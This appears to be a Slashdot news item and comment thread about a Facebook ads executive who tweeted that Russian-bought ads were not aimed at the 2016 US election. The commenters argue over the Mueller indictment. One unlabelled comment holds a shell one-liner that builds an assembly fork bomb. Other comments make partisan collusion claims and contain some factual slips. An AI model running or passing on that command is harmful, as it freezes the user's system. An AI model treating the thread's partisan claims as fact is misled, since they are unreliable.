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Facebook VP of Ads Criticised For Tweeting that Russian-bought Ads Had Not Been Designed to Sway the US Election (bbc.com)
Facebook's vice-president of adverts has been criticised for tweeting that Russian-bought ads had not been designed to sway the US election. From a report: Rob Goldman's tweet was retweeted by President Donald Trump. His view contradicted special counsellor Robert Mueller's recent indictments, in which 13 Russians were charged with meddling in the election via social media and other means. Mr Goldman is reported to have apologised to Facebook staff. In a series of tweets, Mr Goldman said that Russia's misinformation activity had been designed to "divide America" but added that "the majority of the Russian ad spend [on Facebook] happened after the election." However according to the indictment, the ads were only part of Russia's activity on the social-media platform. In the document, Facebook is mentioned 35 times. According to Wired, he sent a message to staff that read: "I wanted to apologise for having tweeted my own view about Russian interference without having it reviewed by anyone internally. The tweets were my own personal view and not Facebook's. I conveyed my view poorly. The special counsel has far more information about what happened [than] I do -- so seeming to contradict his statements was a serious mistake on my part."
https://www.motherjones.com/po...
https://www.cnbc.com/2018/02/1...
"Some defendants, posing as U.S. persons and without revealing their Russian association, communicated with unwitting individuals associated with the Trump Campaign and with other political activists to seek to coordinate political activities."
being too stupid to know you are being used, does NOT mean that you were not involved it just means you are stupid AND a participant.
Mother Jones? Why not just read the indictment itself? It says EXACTLY what I said it does: https://www.justice.gov/file/1...
I predict the case about the Russians won't go to trial. It's an easy prediction because 97% of Federal charges are plea bargained.
They weren't even charged with "meddling" in the US Election(52 U.S.C. 30121), they were charged with conspiracy to defraud the US (18 U.S.C. 371) and some paperwork fraud. The feds will be eager to avoid a trial on the conspiracy to defraud charge because its weak. The defendants will plead to the paperwork stuff because that's easy to prove.
Facebook likes to pretend to do the right thing while always seeming to find a bunch of new wrong things to do instead. No doubt the next election will have similar ads with funding sources disguised enough to provide Facebook with deniability. The press won't care unless their candidate loses again.
First, sorry for this guy getting smacked for going off message. He should have known that Facebook Ad campaigns are serious money makers for FB and Twitter, and the business of "selling influence for cash" is what keeps social media alive. If we admit that a single Russian company of maybe 90 employees can sway a US election, well, then EVERYONE will want to buy more FB ad campaigns so THEY can sway the next election.
Second, it's about time that we admit that the Democrafts colluded with the Russians to sway the election against Trump. It was the DNC that paid Perkins Coie, as a shell company to pay Fusion GPS (ex-CIA opposition researchers), who contracted Christopher Steele and Nellie Ohr to complete the "dossier". Nellie Ohr (member of the CIA Open Source Group) worked with Christopher Steele (ex-MI6 Orbis Ltd) to procure information from Russian diplomats to form the "dossier", then fed that information back through her husband Brian Ohr (DOJ) to the FBI. It was the FBI that used the "dossier" to open the FISA 702 Title 1 on Carter Page (former FBI informant against Russia Gazprom), and it was the Clinton-allied team in the FBI that spied on the Trump campaign headquarters. and we're only beginning to find out now how they used that information. That is the group that used Russian mis-information to try to sway the election, broke dozens of laws, and frankly should be in jail already.
"Some defendants, posing as U.S. persons and without revealing their Russian association, communicated with unwitting individuals associated with the Trump Campaign and with other political activists to seek to coordinate political activities."
So the Russians didn't tell the 'unwitting individuals' they were Russians. That's not collusion. Collusion would require the Trump Campaign staffers knew they were dealing with Russians. The indictment makes it clear they did not,
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
First, his statement was correct that many of the ads were bought AFTER the election. Simple logic suggests they were not aimed at affecting the election in those cases. Second, his statement does not contradict the indictment, which note multiple goals for the Russian actors, one of which was simply "sowing discord".
How long until everyone learns to ignore the Internet ignoramus mob?
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Absence of evidence is not evidence of absence. From the conclusion of that article:
"The interference campaign could easily have had chronic, insidious effects that could be mistaken for background noise but which in the aggregate were enough to swing the election by 0.8 percentage points toward Trump — not a high hurdle to clear because 0.8 points isn’t much at all."
You are obviously trying to conflate very different things.
The indicted Russian agents were acting on the behest and funding of Putin.
Steele was being paid by the Republican and Democratic (US) parties to perform his research. He was being paid, not the other way. That does not require FEC reporting.
How is the weather in St. Petersburg, by the way?